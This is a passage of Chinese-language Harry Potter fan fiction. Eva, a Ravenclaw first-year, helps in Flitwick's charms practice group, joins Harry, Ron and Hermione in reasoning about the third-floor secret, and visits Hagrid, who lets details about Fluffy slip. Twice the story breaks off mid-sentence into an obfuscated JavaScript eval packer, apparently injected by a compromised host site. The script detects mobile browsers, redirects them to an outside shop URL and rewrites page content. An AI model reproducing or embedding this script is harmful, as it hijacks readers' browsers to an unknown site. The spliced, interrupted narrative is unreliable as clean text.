这话让Eva心里“咯噔”一下。她想起自己的玉佩——如果真有黑暗力量监视哈利,玉佩应该有反应。但她什么也没感觉到。 他们一起走回主楼。阳光从高高的窗户斜射进来,在地板上投下明亮的光斑。庭院里,几个低年级学生在追逐打闹,笑声清脆。 “对了,”赫敏突然说,“你们报名参加弗立维教授的魔咒练习小组了吗?周三晚上第一次活动,在四楼东边的空教室。” “我和Eva都报了,”曼蒂说,“你呢?” “当然报了,”赫敏眼睛亮起来,“弗立维教授说这周教‘清理咒’的进阶应用——不只是清除灰尘,而是针对不同类型的污渍。这可比课本上的基础版实用多了!” “清理咒还有进阶版?”罗恩惊讶地问,“不就是‘清理一新’吗?” “课本上教的是通用版,”赫敏耐心解释,“但有些污渍需要针对性的清理咒,比如墨渍、油渍、草药汁渍……不同的物质需要不同的魔力频率来分解。” 他们走到二楼岔路口分开。哈利和罗恩、赫敏去格兰芬多塔楼,Eva和帕德玛、曼蒂回拉文克劳。 那天晚上,公共休息室里,弗立维教授真的来宣布了练习小组的事。他站在壁炉前的小台子上,尖嗓子兴奋地说: “经过邓布利多教授的批准,我们的魔咒练习小组将专注于实用咒语的进阶应用!第一课就是‘清理一新’的针对性使用——如何高效清除各种日常污渍!” 学生们兴奋地议论着。大多数人都表现出浓厚兴趣——清理咒是每个人都要用的,能学得更精当然好。 周三晚上,四楼东边的空教室果然挤满了人。大概三十多个学生,从一年级到三年级都有。教室被重新布置过,桌椅靠墙摆着,中间空出一大片地方。长桌上摆放着各种“污染样品”:溅上墨水的羊皮纸、沾了黄油的面包布、染上草药汁的桌布。 弗立维教授站在讲台上(这次他带了一个更厚的垫脚书),魔杖轻挥,一块沾满墨渍的布料悬浮在空中。 “通用清理咒‘清理一新’对大多数污渍有效,但不够高效!”他的声音比平时更洪亮,“今天我们要学习如何感知污渍的成分,调整魔力频率,实现精准清洁。这不仅能让咒语效果更好,还能减少魔力消耗——对一年级同学来说尤其重要!” 他详细讲解了墨渍、油渍、水渍的不同特性,以及对应的魔力调整方法。一小时的课程结束时,大多数学生都能让自己的清理咒至少对一种污渍产生更强的清洁效果了。 Eva试着清洁一块沾了蓝莓酱的桌布。她按照弗立维教授教的,先感知污渍——蓝莓酱是水果和糖的混合物,粘稠,有颜色。然后调整魔力,想象一股温和但能分解糖分的力量…… “清理一新。” 魔杖尖涌出的银光不再是平时那种“唰”一下扫过,而是更柔和地包裹住污渍区域。蓝莓酱的紫色渐渐变浅、消散,桌布恢复了本来的米白色,只留下一点点几乎看不见的水痕。 “很好!”弗立维教授飘过来检查,“魔力调整精准,清洁彻底。Eva,你愿意给大家示范一下吗?” Eva愣了一下,点点头。在三十多个同学的注视下,她又示范了一次,这次放慢了动作,让大家看清楚她是如何调整手腕角度和咒语强度的。 示范结束后,大家开始分组练习。教室里立刻热闹起来,念咒声、布料抖动的窸窣声、偶尔失败的叹息声和成功的小小欢呼声混成一片。Eva和曼蒂、苏珊·博恩斯几个拉文克劳和赫奇帕奇的一年级女生凑在一张桌子边,互相看对方的练习成果。 Eva正帮苏珊调整手腕姿势时,余光瞥见教室后门边有些动静。两个斯莱特林一年级男生——一个浅金发,一个黑发——正挨着墙站着,离人群有些距离。浅金发那个对着面前漂浮的脏餐巾反复念咒,魔杖尖只冒出零星火花,油渍反而晕得更开了。他旁边的黑发男生不停张望,看起来很紧张。 就就在这时,后门外的走廊里传来几个高年级学生的说话声,由远及近: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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接下来的几天,Eva照常上课、写作业、去图书馆。周四的魔咒课上,弗立维教授又表扬了她的软化咒控制力,再加了五分。周五的变形术检查,她的棋子维持得依然完好,麦格教授点点头,没加分但说了句“保持下去”。 直到下一周的周二下午,Eva刚从图书馆回来,级长佩内洛·克里瓦特在公共休息室叫住了她。 “Eva,弗立维教授让我问问你,”佩内洛的声音很温和,“愿不愿意当魔咒练习小组的低年级助理?他说观察了你几次课堂表现,觉得你基础扎实,讲解清晰,适合帮助一年级新生理解进阶应用。” Eva愣了一下:“我?但我才一年级……” “弗立维教授看中的就是你是同龄人,”佩内洛笑着说,“他说有时候高年级学生讲得太复杂,反而让新生听不懂。你刚学会,知道哪里容易困惑,而且——”她顿了顿,“上次拓展课有几个拉文克劳一年级生回来都说,看你示范时特别清楚,比光听教授讲好懂。” 原来如此。不是当场决定,而是观察了一段时间,还听了其他学生的反馈。 曼蒂在旁边兴奋地推了推她:“答应啊!当助理肯定能加学院分!” Eva想了想。如果能帮学院挣回分数,弥补上次的损失,当然好。而且,教别人确实能让自己学得更扎实——爷爷说过“教学相长”。 “好。”她说。 佩内洛点点头:“那从下次活动开始,每周三下午提前二十分钟到教室,帮弗立维教授准备材料,并在小组练习时协助指导一年级新生。每次认真的助理工作,可以给学院加五到十分。” 五到十分。Eva在心里算了一下——如果能坚持到期末…… “我会认真做的。”她说。 那天晚上,Eva坐在窗边预习下周的魔药课时,心里有种踏实的感觉。被需要的感觉——不是被朋友需要,是被教授需要,被学院需要。这是一种新的责任,让她背脊挺直了些。 窗外,月亮升起来了,细细的一弯,像银色的钩子。城堡各处的灯火在夜色中温暖地亮着。 几天后的一个清晨,Eva在早餐时注意到格兰芬多长桌那边的异常。哈利、罗恩和赫敏凑在一起,头挨得很近,正在快速低声讨论着什么。哈利的手无意识地按着额头,那道疤痕在晨光下显得格外清晰。罗恩的表情很激动,赫敏则紧皱着眉头,手指在桌面上比划着,像是在分析什么复杂的问题。 Eva低下头,小口喝着燕麦粥。她能感觉到,有些事情正在暗处慢慢发酵,像地窖里那些慢慢变化的魔药材料。但她现在能做的,就是做好眼前的事——学习,帮助朋友,履行作为助理的职责。 一步一步来。 一天一天过。 这就够了。 城堡外的草地一天比一天绿,黑湖的冰完全化开了,湖面在月光下波光粼粼。远处的禁林传来猫头鹰的叫声,悠长,平和。 霍格沃茨的生活,就这样稳稳地向前流淌。 不急不缓,但每一步都踏在实处。 16. 拼图与伙伴 三月的风吹在脸上,软软的,暖暖的,像小猫的肚皮。城堡外的草地绿得发亮,黑湖的水在太阳底下闪闪发光,像撒了一大把碎银子。拉文克劳塔楼还是那么高,风呼呼地从窗缝钻进来,但早晨窗玻璃上的霜花现在化得快多了——Eva起床时还能看见羽毛一样的图案,等她念完静心口诀、穿好袍子下楼,那些冰晶就只剩下湿漉漉的水痕,慢慢蒸发不见了。 日子过得像弗立维教授的漂浮咒,稳稳的,轻轻的,一直往上飘。Eva已经当了三周的魔咒练习小组助理了。每周三下午提前二十分钟到四楼东边的空教室,帮弗立维教授摆好练习材料——这周是几套旧羽毛笔,有的笔尖分叉,有的笔杆开裂,用来练习修复咒的精细控制。 “很好,张小姐,”弗立维教授检查着她刚摆好的材料,尖嗓子透着满意,“分类清楚,损坏程度从易到难排列。这样新生们可以循序渐进地练习。拉文克劳加五分。” Eva脸有点热,低头继续调整最后几支笔的位置。她已经慢慢习惯了这份小工作——不是简单地摆放东西,而是要思考怎么摆才能让大家学得更好。爷爷说过,做事要用心,哪怕是最小的事。 周三晚上的练习很顺利。Eva主要指导几个拉文克劳和赫奇帕奇的一年级生,帮他们理解修复咒的“连接”概念——不是强行把东西粘回去,是帮断裂的部分重新“认出”彼此。 “想象这支笔原本是完整的,”她拿起一支笔尖分叉的旧羽毛笔,“分叉的地方原本是连在一起的,就像……就像树枝分杈那样自然。你的魔力是帮助它们记起原来的样子。” 苏珊·博恩斯学得很认真,第三次尝试时,她笔尖的分叉慢慢合拢,虽然还有一点小缝隙,但已经能正常写字了。 “我成功了!”苏珊的眼睛亮晶晶的。 “很好,”Eva鼓励道,“下次可以试着更精细些。” 练习结束时,弗立维教授宣布下周要教“防水防湿”咒的进阶应用——不只是让东西不沾水,而是针对不同液体的防护。学生们兴奋地议论着离开教室。 Eva留下来帮忙收拾。她正把用过的练习材料放回箱子时,听见教室门口传来低低的说话声。 “……四楼右边走廊昨晚又有动静……” “费尔奇守到半夜,说听见里面有东西在抓门……” 是几个拉文克劳的高年级学生,抱着书匆匆走过。他们看见Eva在教室里,声音压得更低,快步离开了。 Eva手上的动作顿了一下。四楼——这个词像一根细针,轻轻扎进她平静的日常里。她想起万圣节那晚见过的厚重木门,想起门后低沉的呼吸声和抓挠声,想起哈利苍白着脸说“靠近那里时疤疼得厉害”。 拼图的碎片散落着:古灵阁的金库闯入、海格取走的“小东西”、四楼禁区、哈利的伤疤、尼可·勒梅的名字……它们之间好像有隐形的线连着,但她还看不清全貌。 她收拾好东西,和曼蒂一起回塔楼。走廊里很安静,火把的光在石墙上投下晃动的影子。 “你听见刚才那些人说的话了吗?”曼蒂小声问,“四楼又有动静了。” “嗯。”Eva点点头。 “哈利他们……”曼蒂的声音更低了,“我昨天在图书馆看见他们三个凑在一起,面前摊着一堆旧报纸和书,表情特别严肃。赫敏还在羊皮纸上画着什么图……像是城堡的平面图,四楼那块标了特别多的记号。” Eva没说话。她知道朋友们在做什么——他们在自己调查,尽管麦格教授严厉警告过,尽管大家都知道那是禁区。她能理解,换成是她,知道自己额头上有个和神秘人有关的伤疤,发现学校里有这么多可疑的事情,大概也做不到完全放下。 但那很危险。爷爷说过,知可为而为,知不可为而不为。有些事情,明知道不该碰,就不该碰。 可如果朋友在碰呢? 这个问题像个小疙瘩,卡在心里。 星期五的魔药课在地下室,还是那么冷,还是那股草药和霉味混在一起的气味。他们在学“提神剂”,步骤好多好多,火候要刚刚好,加东西的时间要掐得准准的。Eva和帕德玛配合得很小心,一个盯温度计和沙漏,一个搅拌、加材料。坩埚里的药液终于变成书上说的那种淡金色,闻起来清清凉凉的时候,两个人都偷偷松了口气。 斯内普教授像一团黑影子,飘到她们桌子旁边。他没马上检查药水,那双黑沉沉的眼睛先扫过Eva的桌子——材料摆得整整齐齐,研钵洗得干干净净,爷爷给的紫竹笔躺在摊开的羊皮纸笔记旁边。他的目光在那支笔上停了一下,比平时好像久了一点点,然后才弯下腰,用细长的玻璃棒蘸了一滴药液,举起来对着光看。 他没闻,也没尝,只是看着。 “装瓶。”最后他说,声音平平的,没有高兴也没有不高兴,就像在说“今天下雨了”。说完,黑袍子一甩,转向纳威和西莫那边——他们的坩埚正冒着一种难闻的黄绿色烟。 下课铃响了,大家像被放生的小鸟,哗啦啦冲出阴冷的地下室,挤上楼梯,奔向有阳光和新鲜空气的主楼。Eva和帕德玛收拾东西时,听见前面几个格兰芬多的高年级学生在小声说话: “……我弟弟说,他们一年级那个波特,还有韦斯莱家的小儿子,老在图书馆禁书区那边转悠……” “还能为什么?肯定是上学期那件事……四楼那个……” “费尔奇最近巡逻得更勤了,晚上总看见他的灯在四楼走廊晃……” 声音随着人群走远了。Eva和帕德玛互相看了一眼,都没说话,但都知道对方听见了。 星期六上午,Eva去参加赫敏组织的变形术练习。在二楼一间安静的备用教室。除了哈利、罗恩、曼蒂,还有一个拉文克劳的同年级生和一个赫奇帕奇男孩贾斯廷——Eva在魔咒课上见过他,总是一脸认真的样子。 练习主要是把老鼠变成鼻烟盒,一遍又一遍。赫敏拿着她的笔记本,严格计时,记录每个人成功了几次、盒子还有什么毛病。气氛有点闷,只有魔杖挥动的声音和老鼠偶尔的吱吱叫。那个拉文克劳同学和贾斯廷主要在问赫敏手腕该怎么转,曼蒂和Eva互相检查对方变的盒子开合顺不顺畅。 练习快结束时,Eva正把最后一本参考书塞进书包,哈利悄悄走过来,声音压得很低,只有她能听见: “Eva,下午……有空吗?在图书馆,老地方?有点事……想跟你说说。”他的绿眼睛里有种认真的神色,和平时问作业题时不太一样。 Eva看看他,点点头:“好。” 下午的阳光从图书馆高高的窗户斜斜照进来,把旧旧的长桌和地板染成暖暖的金黄色。光柱里有细细的灰尘在慢慢跳舞。平斯夫人在远处的书架间走来走去,羽毛掸子轻轻扫过书脊,沙沙沙,像秋天落叶的声音。 在那个靠窗的、被几排高高书架半围起来的安静角落里,只坐了五个人:哈利、罗恩、赫敏、Eva,还有被哈利特意叫来的曼蒂——她看起来有点紧张,又有点被信任的开心。显然,哈利还记得万圣节一起对付巨怪的事,把她当成了可以完全相信的朋友。 空气有点安静得过分。赫敏面前摊着几本厚书,包括那本《霍格沃茨,一段校史》,但她没在看,手指绕着一缕棕色卷发转啊转。罗恩坐得不太安稳,眼睛时不时瞟向书架间的通道。哈利深吸了一口气,像是下定了决心。 “我们把一些事情……拼了拼,”他开口,声音轻轻的,但在这安静的地方听得特别清楚,“可能听起来有点……像瞎想。但觉得应该告诉你们,因为……你们是朋友,而且上次也一起……”他没说完万圣节的事,但大家都懂。 他先说了去年夏天,海格带他去古灵阁,除了取钱,还去了另一个很深很深的金库,拿了个“小东西”。 赫敏立刻接上,从书包里小心地抽出一张叠得整整齐齐的旧报纸——是去年七月底的《预言家日报》。她指着角落一小段报道,声音压得极低:“看这里……古灵阁713号金库被闯入,但‘据悉该金库内物品已于日前被合法取走’。” 罗恩往前凑了凑,眼睛睁得圆圆的:“时间对得上!海格拿的就是那个!” “然后那个东西,”哈利说,手指无意识地碰了碰额头的伤疤,“现在可能……就在学校里。在四楼那扇门后面。” 曼蒂倒吸了一口冷气,手抓住了Eva的胳膊。Eva感觉到她指尖有点凉。 “还有我的疤,”哈利的声音更低了,“靠近那扇门的时候,它会疼。邓布利多教授说……算是一种提醒。” “提醒什么?”曼蒂小声问,声音发颤。 哈利摇摇头:“他没细说。但……总归不是提醒我去喝茶。” 几个人都沉默了。远处传来平斯夫人整理书架的轻微响动,阳光在桌面上慢慢移动,从左边移到右边。 “所以,”罗恩咽了口唾沫,“想偷古灵阁东西的人,现在可能……也想来学校偷?而那个东西,可能和……和神秘人有关?”他说出那个名字时,几乎只剩下气音。 “我们没有证据,”赫敏快速说,但她的手指紧紧攥着报纸边缘,“只是……线索能连起来。” “太吓人了,”曼蒂的声音带着哭腔,“万一……万一那个人真的在城堡里呢?” Eva安静地听着。她看着哈利额头上那道细细的疤痕,在阳光下颜色淡了些,但还是看得出痕迹。她又想起斯内普教授最近格外阴沉的脸,想起走廊里那些模糊的议论。 “我们……要不要告诉教授?”她轻声问。 “告诉谁?”罗恩反问,“斯内普?奇洛?还是……” “邓布利多教授,”哈利说,“他让我如果有异常就告诉他。可是……我们没什么证据,只有一堆‘可能’和‘好像’。” “但你的伤疤疼是事实,”赫敏坚持,“这本身就是异常。” “可如果告诉了,教授们可能会加强看守,也可能……”哈利顿了顿,“也可能打草惊蛇。万一那个人……就在教授中间呢?” 这个想法让所有人后背发凉。 又一阵沉默。这次更久。Eva看着窗外,草坪上有几个低年级学生在追着一只乱飞的蝴蝶跑,笑声隐约传进来。 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罗恩挠挠头:“那……我们写封信?让海德薇送去?” “直接去办公室吧,”哈利说,“写信说不清楚。而且……我想当着邓布利多教授的面说。” “等等,”赫敏突然打断,她推了推眼镜,眼睛里闪着那种“我想到什么”的光,“哈利,你刚才说……海格从古灵阁取走了东西。海格是咱们的朋友,对吧?而且他……有时候说话不太小心。” 哈利愣了一下:“你是说……” “我们为什么不去问问海格呢?”赫敏压低声音,但语气很兴奋,“不用直接问‘你从古灵阁拿了什么’,我们可以……旁敲侧击。比如问他古灵阁怎么样,或者聊聊神奇动物——四楼那个东西可是三头犬守着的,海格最喜欢神奇动物了!” 罗恩的眼睛也亮起来:“对啊!海格上次还说想请我们去他小屋喝茶呢!我们可以周末去,就当是……拜访朋友。” “这样比直接找邓布利多教授好些,”Eva轻声说,“要是我们猜错了,海格最多笑笑说我们想多了。要是猜对了……”她顿了顿,“他可能……会不小心说出来点什么。” 哈利表情明显放松了些:“对,海格是朋友。而且他要是知道什么,说不定真的会……说漏嘴。他不是故意的,就是……藏不住事。” “那就这周末?”罗恩问,“明天下午?” 哈利点点头,看向Eva和曼蒂:“你们……来吗?人多一点,海格会更高兴。” 曼蒂看向Eva。Eva想了想——去看海格很正常,万圣节后他们本来就该去谢谢他,只是后来一直没找到合适时间。 “好,”Eva说,“是该去谢谢他。上次他还给了我们岩皮饼。” “虽然硬得能砸晕人。”曼蒂小声补充,大家都忍不住笑了。 “那就明天下午两点,门厅见,”哈利说,“记得穿暖和点,外面风大。” 事情就这么定了。大家约好明天一起去海格的小屋“喝茶”。 离开图书馆时,夕阳把城堡的石墙染成了暖暖的橘红色。Eva和曼蒂慢慢走回拉文克劳塔楼,这回曼蒂的话多了些。 “你说海格会给我们吃什么?”曼蒂小声问,“希望不是岩皮饼了,我上次吃的时候差点把牙崩掉。” “可能有茶,”Eva说,“或者……岩皮饼蘸茶,会软一点?” 两人都笑起来。虽然心里还是有点沉甸甸的,但至少有了个计划,而且是个听起来还算安全的计划——去看朋友,喝茶,聊聊天。 鹰形门环今天的问题是:“什么东西越暗越清晰?” 曼蒂想了想:“星星。” 门开了。公共休息室里,壁炉的火烧得正旺,几个学生在讨论天文学的作业。秋·张看到她俩,笑着招手:“快来!我们在争论火星的卫星到底有几颗,辛尼斯塔教授给的资料和图谱对不上……” 温暖的声音、熟悉的争论、壁炉噼啪的响声涌过来,把下午在图书馆角落那股沉甸甸的感觉冲淡了些。 那天晚上,Eva躺在床上,听着曼蒂平稳的呼吸,眼睛望着床顶深蓝色的帷幔。 那些线索——古灵阁、海格、四楼的门、哈利的疤——它们像几块颜色特别的拼图,散在脑子里。明天去找海格,也许能找到另一块拼图,也许什么也找不到。但至少,他们在试着把事情弄清楚,用一种……小心点的方式。 她翻了个身,手指碰到枕头下的玉佩。温温的,稳稳的。 一步一步来吧。先去看看朋友,喝杯茶。 窗外,霍格沃茨的灯火在夜色里安静地亮着。禁林边缘,海格的小屋里也亮着灯,烟囱里冒出细细的烟。大猎犬牙牙在门外打了个哈欠,蜷成一团睡着了。海格正在屋里哼着不成调的歌,把水壶放在炉子上,准备明天招待小客人们——他完全不知道,这几个孩子来访的目的,远不止“喝茶”那么简单。 但此刻,一切都还平静。 夜晚还很长。 明天,会是晴朗的一天。 17. 猎场小屋的茶话 星期天的阳光特别好,金灿灿的,透过拉文克劳塔楼高高的窗户照进来,把地板都晒得暖烘烘的。Eva起床时,看见素雪正把脑袋埋在翅膀底下睡觉,听见她起床的动静,才迷迷糊糊地抬起脑袋,琥珀色的眼睛眨了眨。 “下午要出门。”Eva轻声说,给素雪的小碟子里添了清水和猫头鹰食。 她换上日常的衣服——白衬衫,灰色毛衣,牛仔裤,这是妈妈说的“去拜访朋友该穿的”,不是校袍。然后从行李箱里翻出那件深蓝色的厚外套,是圣诞节爸爸妈妈寄来的,料子软软的,很暖和。 曼蒂也起来了,正在镜子前梳头,想把那几缕不听话的卷发压下去。“你说海格会喜欢什么样的小礼物?”她问,声音里有点紧张,“我妈妈给我寄了一盒威尔士太妃糖,要不要带点?” “应该会喜欢,”Eva说,“岩皮饼配太妃糖,说不定会软一点。” 两人都笑起来。 早餐时,礼堂里的人比平时少些——周末,又是晴天,好多学生吃完早饭就去院子里玩了。Eva看见哈利、罗恩和赫敏坐在格兰芬多长桌那边,哈利正往面包上涂果酱,动作有点急,涂得到处都是。罗恩在吃熏肉,一边吃一边左右张望,好像怕被人注意到他们吃完饭要去哪儿。赫敏面前摊着一本书,但她没在看,而是时不时看怀表,眉头微微皱着。 Eva和曼蒂拿了烤面包和橙汁,找了个靠边的位置坐下。帕德玛今天要整理下学期草药课的预习笔记,丽莎说要去图书馆写论文,两人都说不跟她们去海格那儿了——曼蒂只说是去喝茶,没提别的。 “两点在门厅见,”曼蒂小声重复,“不要迟到。” “嗯。”Eva点点头。她看着格兰芬多长桌那边,哈利正好抬头,两人的目光碰了一下。哈利对她做了个很轻的“两点”的口型,Eva点点头。 上午她们待在公共休息室。Eva想把变形术论文的结尾写完,但有点集中不了精神。笔尖在羊皮纸上停了好几次,墨水都晕开了一小团。她看着窗外——草坪上,几个二年级学生在玩一种会自己弹跳的球,球砰砰地砸在地上,弹得老高,他们的笑声随着风飘上来,断断续续的。 “你紧张吗?”曼蒂忽然问。她坐在对面的扶手椅里,膝盖上摊着《初级变形术原理》,但一页都没翻。 Eva想了想。紧张?有一点。但更多的是……有种事情该往前推一步的感觉。像下棋,棋子摆好了,该走了。 “还好。”她说,放下羽毛笔,“该做的事,做就是了。” 曼蒂看着她,好像有点惊讶Eva这么干脆。Eva自己也觉得这话说得挺直接——不像她平时会说的。但今天不知怎么,就这么说了出来。 也许是因为线索已经够多了。像爷爷说的,拼图快拼完了,最后几块该放上去看看对不对。 “你说得对,”曼蒂深吸一口气,合上书,“做就是了。” 午饭吃得很简单。一点四十五分,Eva和曼蒂穿上外套,围上围巾——Eva围的是秋织的那条蓝青铜色围巾,软软的,很暖和。曼蒂带上了那盒太妃糖,用彩纸包好,系了根银色的丝带。 “走吧。”曼蒂说。 她们走下旋转楼梯。周末下午,进出的人多,门一直开着。公共休息室里,几个高年级学生在讨论古代如尼文的论文,声音嗡嗡的。 走出塔楼,走廊里空荡荡的。周末的霍格沃茨总是这样,大部分学生要么在公共休息室,要么在图书馆,要么在外面玩。脚步声在石地上发出清晰的回响,嗒,嗒,嗒。 快到门厅时,她们看见哈利、罗恩和赫敏已经等在那里了。哈利穿着那件明显大了几号的旧外套,袖子挽了好几折;罗恩穿的是他哥哥的旧毛衣,肘部磨得发白;赫敏裹着一条厚厚的格兰芬多红金围巾,怀里抱着几本书——她走到哪儿都带着书。 “你们来啦。”哈利看见她们,眼睛亮了一下。 “没迟到吧?”曼蒂小声问,看了一眼门厅角落那座大钟——正好两点。 “刚刚好,”赫敏说,把怀表收进口袋,“我们走吧。外面风大。” 他们走出城堡大门。阳光一下子洒下来,亮得晃眼。风确实很大,呼啦啦地吹过来,把头发都吹乱了。Eva把围巾往上拉了拉,遮住下巴。 去猎场小屋的路在草坪边上,是一条被踩出来的土路,两边是半人高的灌木丛。冬天刚过,灌木还是光秃秃的,枝桠乱糟糟地交错着。脚下的泥土有点湿,前几天化的雪渗进去,踩上去软软的,有点滑。 “小心点,”罗恩提醒,他自己差点滑了一跤,“这路真该修修了。” 他们沿着小路慢慢走。远处禁林的边缘已经能看见了,黑黝黝的树影连成一片,像一堵高高的墙。海格的小屋就在禁林边上,烟囱里冒着细细的白烟,在蓝天下几乎看不见。 快到小屋时,一阵响亮的狗叫声传过来——汪汪汪!震得耳朵嗡嗡响。 “是牙牙,”哈利说,脸上露出笑容,“海格的狗。别怕,它看起来很凶,其实很乖。” 话音刚落,小屋的门“砰”地被撞开,一只巨大的黑色猎犬冲了出来,尾巴摇得像风车,口水滴滴答答地往下掉。它直奔他们而来,罗恩吓得往后退了一大步。 “牙牙!坐下!”海格的声音从屋里传出来,闷闷的,像打雷。 牙牙不情愿地坐下,但尾巴还在拼命摇,眼睛湿漉漉地盯着他们,喉咙里发出呜呜的声音。 海格出现在门口。他真的好高好高,像座小山,胡子蓬蓬的,头发乱糟糟的。他穿着件巨大的鼹鼠皮大衣,手里拿着把正在滴水的茶壶。 “哈!你们来啦!”海格的大脸笑得全是皱纹,“快进来,快进来!外面冷!” 小屋里面比外面看起来还挤。一张大桌子占了大半边屋子,上面堆满了各种东西:羽毛、骨头、破锅、旧书,还有一大盘黑乎乎、硬邦邦的岩皮饼。壁炉里火烧得正旺,上面挂着一只巨大的铜壶,正咕嘟咕嘟冒热气。墙角堆着南瓜,个个都有脸盆大。 “坐,坐!”海格用他那蒲扇般的大手胡乱扫了扫桌上的杂物,清出几块地方,“茶马上好。我烤了岩皮饼——新配方,这次保证没那么硬!” 罗恩和哈利交换了一个眼神。Eva看见赫敏悄悄把那盘岩皮饼往远处推了推。 “谢谢您邀请我们,海格。”赫敏礼貌地说,把她带的礼物——一本《常见魔法植物养护指南》——放在桌上,“这是给您的。” “哦!谢谢,赫敏!”海格眼睛亮起来,大手小心地翻开书页,“我一直想学怎么种好毒触手,我那儿总死……” 曼蒂也递上太妃糖:“这是我妈妈做的,希望您喜欢。” “太妃糖!我最喜欢了!”海格乐呵呵地接过,直接撕开包装纸,塞了一块进嘴里,嚼得嘎嘣响,“嗯!好吃!比蜂蜜公爵的还好!” Eva准备的是一小包中国茶叶,用宣纸包着,系着红绳。“我爷爷说这个茶暖身,”她轻声说,“可以配点心喝。” “中国茶!”海格更高兴了,小心翼翼地把茶叶包放在壁炉架上,“我还没喝过呢。等会儿就泡!” 他忙着倒茶,茶杯在他手里小得像玩具。茶水是深褐色的,冒着滚滚热气,闻起来有股浓烈的、类似树皮的味道。 “尝尝,”海格把茶杯推给每个人,“我自己晒的草药茶,对嗓子好。” Eva小心地抿了一口——味道很怪,苦中带甜,还有种说不出的草木味。她看见哈利和罗恩也喝得一脸痛苦,只有赫敏面不改色地小口喝着,还说了句“很有特色”。 牙牙趴在壁炉边,巨大的脑袋搁在前爪上,眼睛半闭着,偶尔甩一下尾巴,拍在地上“啪”的一声。 喝了几口茶,气氛慢慢放松下来。海格问起他们的功课,问魁地奇训练,问城堡里的新鲜事。哈利讲起伍德最近发明的“魔鬼训练法”,罗恩抱怨魔药课的除草药剂,赫敏说起弗立维教授的魔咒练习小组。Eva和曼蒂安静地听着,偶尔点点头。 “对了海格,”哈利忽然说,语气听起来很随意,但Eva注意到他握着茶杯的手有点紧,“我们最近在上神奇动物保护课——当然,一年级还没开始上,但我听高年级说很有意思。你最喜欢哪种神奇动物?” 海格的脸立刻亮起来:“哦!那可太多了!比如三头犬路威,多威武!还有夜骐,虽然有些人看不见它们,但它们聪明得很……” “三头犬?”罗恩适时地问,眼睛睁得圆圆的,“真有这种动物?我以为是传说呢!” “当然有!”海格挺起胸膛,满脸自豪,“我就认识一只,叫路威。可爱的大个子,虽然有点爱闹,但只要给它听听音乐,立刻就安静了……” 他说到一半突然停住,大手捂住嘴,眼睛瞪得老大,好像说漏了什么了不得的秘密。 屋里安静了几秒。只有壁炉里的火噼啪作响,牙牙打了个响亮的呼噜。 “音乐?”赫敏敏锐地抓住这个词,但她没追问,而是换了个方向,“三头犬一定很难照顾吧?它们吃什么?” “哦,吃得可多了,”海格松了口气,话匣子又打开了,“一天得吃好几只羊,还得定期检查牙齿——三个头呢,刷牙都得刷半天。不过路威现在有人照顾,吃得挺好……” “在哪儿照顾啊?”哈利问,声音很轻,像在聊天气,“学校里吗?” 海格又噎住了。他端起茶杯猛喝了一大口,茶水流到胡子上都顾不上擦:“这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980633|193567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……这个不能多说。邓布利多教授交代过,要保密。” 他的大眼睛扫过五个孩子,眼神里有点警惕,但更多的是那种“我说漏嘴了怎么办”的慌张。 Eva低头看着手里的茶杯。茶水已经不那么烫了,在粗糙的陶杯里轻轻晃着。海格的反应已经说明了很多——三头犬在学校里,而且邓布利多教授要求保密。这和他们的猜测对上了。 “对不起,海格,”哈利赶紧说,“我们不该打听的。只是……好奇。” “没事,没事,”海格摆摆手,但表情还是有点不自在,“我知道你们都是好孩子。只是有些事……嗯,最好别知道太多。”他顿了顿,压低声音,“城堡里最近不太平,你们知道的吧?四楼那边……总之,晚上别乱跑,听到没?” 这话让所有人都坐直了。曼蒂的手指绞在一起,指节有点发白。 “我们知道,”赫敏认真地说,“万圣节那晚的事……我们记得。” “那就好,”海格点点头,大手无意识地摸着牙牙的头,“你们要平平安安的。有些东西……有些危险的东西,不该是学生操心的。” 他又给他们倒茶,这次倒了满满一杯,茶水都溢出来了。“喝茶,喝茶。别说这些了。尝尝岩皮饼,我真的改良了配方!” 岩皮饼看起来还是那么硬,黑乎乎的,像烧焦的砖头。罗恩勇敢地拿了一块,咬了一小口——“嘎嘣”。他脸都皱成一团,赶紧灌了一大口茶。 “怎么样?”海格期待地问。 “……有进步,”罗恩含糊地说,努力嚼着,“至少……没上次那么硌牙。” 大家都笑起来。气氛又轻松了些。 他们又聊了一会儿。海格说起他最近在禁林边缘发现了一窝护树罗锅,赫敏听得眼睛发亮,问了好多问题。哈利和罗恩讨论起魁地奇,海格说他年轻时也玩过,“虽然扫帚总被我坐断”。Eva和曼蒂安静地听着,偶尔插一两句。 窗外,天色渐渐暗下来。太阳西斜,把禁林的树影拉得老长。风还在吹,小屋的门被吹得吱呀作响。 “该回去了,”赫敏看了眼怀表,“快五点了,晚饭前我们还得去图书馆还书。” “哦,这么快?”海格有点不舍,但还是站起来,“那我送送你们。” 他们走出小屋。牙牙也跟了出来,摇着尾巴挨个蹭他们的腿,口水把罗恩的裤脚都弄湿了。 “谢谢您的茶,海格。”哈利说。 “常来啊!”海格站在门口,巨大的身影在暮色里像座塔,“下次我给你们做岩皮饼汤——把饼泡软了吃,应该不错!” 这个主意让所有人都打了个寒颤。 回去的路上,风更冷了。Eva把脸埋进围巾里,脑子里回响着海格的话。 走到城堡大门时,天已经快黑了。门厅里灯火通明,几个学生匆匆走过,袍角翻飞。 “现在怎么办?”曼蒂小声问,声音在风里有点抖。 哈利看看大家:“明天早餐后,我们去校长办公室。把我们知道的都告诉邓布利多教授。” “都告诉?”罗恩问,“包括海格说漏嘴的事?” 